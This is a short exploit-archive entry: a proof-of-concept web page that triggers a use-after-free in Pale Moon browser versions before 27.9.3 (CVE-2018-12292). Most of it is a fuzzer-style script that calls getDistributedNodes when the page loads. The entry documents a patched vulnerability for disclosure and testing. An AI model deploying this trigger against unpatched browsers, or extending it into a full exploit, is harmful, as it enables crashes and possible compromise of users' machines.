Pale Moon Browser < 27.9.3 - Use After Free (PoC)

Related Vulnerabilities: CVE-2018-12292  
Publish Date: 18 Jun 2018
                							

                # Exploit Title: Pale Moon Browser &lt; 27.9.3 - Use After Free (PoC) 
# Date: 2018-06-13
# Author - Berk Cem Goksel  
# Vendor Homepage: https://www.palemoon.org/ 
# Software Link: https://www.palemoon.org/palemoon-win32.shtml 
# Version:  Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)  
# Tested on: Windows 10 
# Category: Windows Remote Exploit 
# CVE : CVE-2018-12292 


&lt;html&gt;
&lt;head&gt;
&lt;style&gt;
&lt;/style&gt;
&lt;script&gt;

function SetVariable(fuzzervars, var_name, var_type) { 
fuzzervars[var_type] = var_name;
 }

function jsfuzzer() {

var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList'); 

}


&lt;/script&gt;
&lt;/head&gt;
&lt;body onload=jsfuzzer()&gt;
&lt;!-- beginhtml --&gt;
&lt;content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"&gt;&lt;/content&gt;
&lt;!-- endhtml --&gt;
&lt;/body&gt;
&lt;/html&gt;